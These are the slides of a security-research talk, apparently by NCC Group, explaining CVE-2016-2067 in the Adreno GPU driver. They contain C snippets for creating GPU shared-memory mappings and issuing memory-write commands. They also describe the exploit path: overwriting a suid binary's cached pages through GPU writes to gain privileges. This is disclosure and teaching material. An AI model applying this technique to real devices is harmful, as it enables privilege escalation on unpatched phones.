GPU Security Exposed

Exploiting Shared Memory

nccgroup  Justin Taft
Presentation Overview

- Shared Memory Internals
- GPU Command Processor
- Exploiting CVE-2016-2067
Shared Memory

• In software terms, it's a region of physical memory shared by two or more processes.

• In hardware terms, it's a region of physical memory shared by two or more hardware components.
Shared Memory - Hardware Overview

System Memory (RAM)

Physical Address: 0x00002000

- MMU
  - Virtual Address: 0x600000000
  - CPU

- IOMMU
  - Device Address: 0x900000000
  - GPU
Memory Management Unit (MMU)

- Hardware component the CPU interacts with when accessing memory.
- Translates virtual addresses to physical addresses.
- Enforces page table entry flags (read/write, execute, etc.).
Input Output Memory Management Unit (IOMMU)

- Hardware component the GPU interacts with when accessing memory.
- Can be configured to map an address range to system memory (RAM) used by the CPU.
- Prevents Direct Memory Access (DMA) attacks by limiting what memory the GPU can access.
Sharing Memory with the Adreno GPU
Interfacing with the Graphics Driver

- Driver interface exposed through device file /dev/kgsl-3d0.
- Commands are issued via ioctl() calls.
- File has global read and write permissions.
Creating a Shared Memory Mapping

```c
struct kgsl_map_user_mem sharedMemory = {
    .hostptr = dataToShare, // MUST BE PAGE ALIGNED
    .len = pageSize, // MUST BE MULTIPLE OF PAGE LENGTH
    .memtype = KGSL_USER_MEM_TYPE_ADDR, // MEMORY PAGE BEING MAPPED IS
                                        // ALREADY OWNED BY USER PROCESS
    .gpuaddr = 0, // UPDATED BY IOCTL CALL
};

ioctl(kgsl3dfd, IOCTL_KGSL_MAP_USER_MEM, &sharedMemory);
```
GPU Command Processor
GPU Command Processor

- Process instructions in order to draw graphics and configure internal settings of the GPU.

- Higher level APIs (OpenGL) provide abstraction for implementation details.

- Command Processor instructions are not standardized.
Writing to GPU Memory from the Command Processor

#include <stdio.h>

#define ADD_CMD(x) *cmdsPtr++ = x; cmdCount++;

unsigned int* cmdsStart = mmap(0, 4096, PROC_READ | PROC_WRITE,
                               MAP_ANONYMOUS, 0, 0);

unsigned int* cmdsPtr = cmdsStart;

//Macros defined by driver. cp_type3_packet does some bit shifting and
flipping.
ADD_CMD(cp_type3_packet(CP_MEM_WRITE, 2));

ADD_CMD(targetGpuAddress); //GPU address to write to
ADD_CMD(0xaabbccdd);       //Value to write
Sending the Commands

```c
struct kgsl_drawctxt_create ctxt = {
    .flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC,
    .drawctxt_id = 0,
};
listIoctlRet = ioctl(kgsl3dfd, IOCTL_KGSL_DRAWCTXT_CREATE, &ctxt);

struct kgsl_ibdesc ibdesc = {
    .gpuaddr = mapping.gpuaddr,
    .sizedwords = cmdsPtr - cmdsPtrStart
};

struct kgsl_ringbuffer_issueibcmds ibcmds = {
    .drawctxt_id = ctxt.drawctxt_id,
    .ibdesc_addr = (unsigned int) &ibdesc,
    .numibs = 1,
    .flags = KGSL_CONTEXT_SUBMIT_IB_LIST,
    .timestamp = 0,
};
ioctl(kgsl3dfd, IOCTL_KGSL_RINGBUFFER_ISSUEIBCMDS, &ibcmds));
```
The Vulnerability
CVE-2016-2067

The Adreno graphics driver maps memory pages marked as read-only by the CPU as writable by the GPU.
static int memdesc_sg_virt(struct kgsl_memdesc *memdesc, struct file *vmfile) {
...

//BUG: Check is inverted. Write access is interpreted as read access.
int write = (memdesc->flags & KGSL_MEMFLAGS_GPUREADONLY) != 0;
...

//Pin memory in place, verify write permissions.
npages = get_user_pages(current, current->mm, memdesc->useraddr, sglen, write, 0, pages, NULL);
ret = (npages < 0) ? (int)npages : 0;
...
return ret;
}
IOMMU Configuration

```c
static int kgsl_iommu_map(struct kgsl_pagetable *pt, struct kgsl_memdesc *memdesc)
{
    int ret = 0;
    unsigned int protflags;
    ...

    /* Set up the protection for the page(s) */
    protflags = IOMMU_READ;

    if (!(memdesc->flags & KGSL_MEMFLAGS_GPUREADONLY))
        protflags |= IOMMU_WRITE;
    ...

    ret = iommu_map_range(iommu_pt->domain, iommu_virt_addr, memdesc->sg, size, protflags);
    ...
}
```
The Exploit
Modifying Dynamic Libraries

- Use `dlopen()` and `dlsym()` to load dynamic library and locate symbols addresses.

- Instructions for these symbols can be overwritten, such as `__android_log_print` in `liblog.so`.

- Some privileged binaries are statically linked.
We can do better...
Modifying the Disk Cache

- mmap() can be used to map files into memory.

- Contents of file are cached in memory for other processes to use.

- By mmap()-ing a suid binary, instructions in privileged binaries can be over-written through the GPU.

- Changes aren't stored to disk.
Demonstration
Takeaways

• Shared memory is hard to get right.

• Direct memory attacks are very powerful.

• Graphic security has a large attack surface.
References

- "Understanding Modern GPUs" (Óscar Blasco Maestro)

- "ARM, DMA, and memory management" (Jonathan Corbet)
  https://lwn.net/Articles/440221/

- http://nommu.org/memory-faq.txt